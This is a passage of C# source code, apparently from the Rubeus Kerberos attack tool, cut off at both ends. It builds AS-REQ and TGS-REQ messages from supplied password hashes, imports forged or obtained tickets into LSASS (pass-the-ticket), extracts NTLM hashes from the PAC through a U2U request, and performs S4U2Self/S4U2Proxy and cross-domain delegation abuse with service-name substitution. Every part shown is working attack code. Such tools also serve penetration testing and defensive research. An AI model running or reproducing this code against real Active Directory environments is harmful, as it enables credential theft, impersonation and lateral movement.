outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
}
if (getCredentials)
{
Console.WriteLine("[*] Getting credentials using U2U\r\n");
byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
if (u2uResponse == null)
{
return(null);
}
AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);
// check the response value
int responseTag = u2uResponseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
// parse the response to an TGS-REP and get the PAC
TGS_REP u2uRep = new TGS_REP(u2uResponseAsn);
EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
PACTYPE pt = u2uEncTicketPart.GetPac(key);
// look for the credential information and print
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is PacCredentialInfo ci)
{
Console.WriteLine(" CredentialInfo :");
Console.WriteLine(" Version : {0}", ci.Version);
Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType);
if (ci.CredentialInfo.HasValue)
{
Console.WriteLine(" CredentialData :");
Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount);
foreach (var credData in ci.CredentialInfo.Value.Credentials)
{
string hash = "";
if ("NTLM".Equals(credData.PackageName.ToString()))
{
int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
if (flags == 3)
{
hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
else
{
hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
}
else
{
hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
}
Console.WriteLine(" {0} : {1}", credData.PackageName, hash);
}
}
else
{
Console.WriteLine(" CredentialData : *** NO KEY ***");
}
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
return(kirbiBytes);
}
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
{
Console.WriteLine("[*] Action: Ask TGT\r\n");
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
if (luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", luid);
}
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
Console.WriteLine("[+] TGT request successful!");
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
return(null);
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt || (luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
return(null);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return(null);
}
}
public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false)
{
if ((ulong)luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
}
string dcIP = Networking.GetDCIP(domainController, false);
if (String.IsNullOrEmpty(dcIP))
{
throw new RubeusException("[X] Unable to get domain controller address");
}
byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
if (response == null)
{
throw new RubeusException("[X] No answer from domain controller");
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
if (verbose)
{
Console.WriteLine("[+] TGT request successful!");
}
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(asReq.keyString);
}
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
throw new KerberosErrorException("", error);
}
else
{
throw new RubeusException("[X] Unknown application tag: " + responseTag);
}
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false)
{
string dcIP = Networking.GetDCIP(domainController, display);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
{
Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
}
else
{
Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
}
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast);
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
if (display)
{
Console.WriteLine("[+] TGS request successful!");
}
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = rep.crealm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (display)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
// to perform the 2 S4U2Proxy requests
private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false, string createnetonly = null, bool show = false)
{
string dcIP = Networking.GetDCIP(targetDomainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
string domain = userName.Split('@')[1];
string targetDomain = targetUser.Split('@')[1];
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController);
TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false);
PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
if (cross)
{
s4u2proxyReq.req_body.realm = targetDomain;
}
else
{
s4u2proxyReq.req_body.realm = domain;
}
string[] parts = targetSPN.Split('/');
string serverName = parts[parts.Length - 1];
s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
foreach (string part in parts)
{
s4u2proxyReq.req_body.sname.name_string.Add(part);
}
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
if (response2 == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (ptt && cross)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
return(kirbi);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "")
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
return(rep.ticket);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
// to perform the 2 S4U2Self requests
private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false, string createnetonly = null, bool show = false)
{
// die if can't get IP of DC
string dcIP = Networking.GetDCIP(targetDomainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain);
Console.WriteLine("[*] Sending cross realm S4U2Self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] cross realm S4U2Self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want to use this s4u2self ticket for authentication, change the sname
if (!String.IsNullOrEmpty(altService) && self)
{
rep.ticket.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
rep.ticket.sname.name_string[0] = altService.Split('/')[0];
rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
}
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// if we're rewriting the S4U2Self sname, change it here too
if (!String.IsNullOrEmpty(altService) && self)
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
info.sname.name_string[0] = altService.Split('/')[0];
info.sname.name_string.Add(altService.Split('/')[1]);
}
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
PrintTicket(kirbiBytes, "base64(ticket.kirbi)");
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
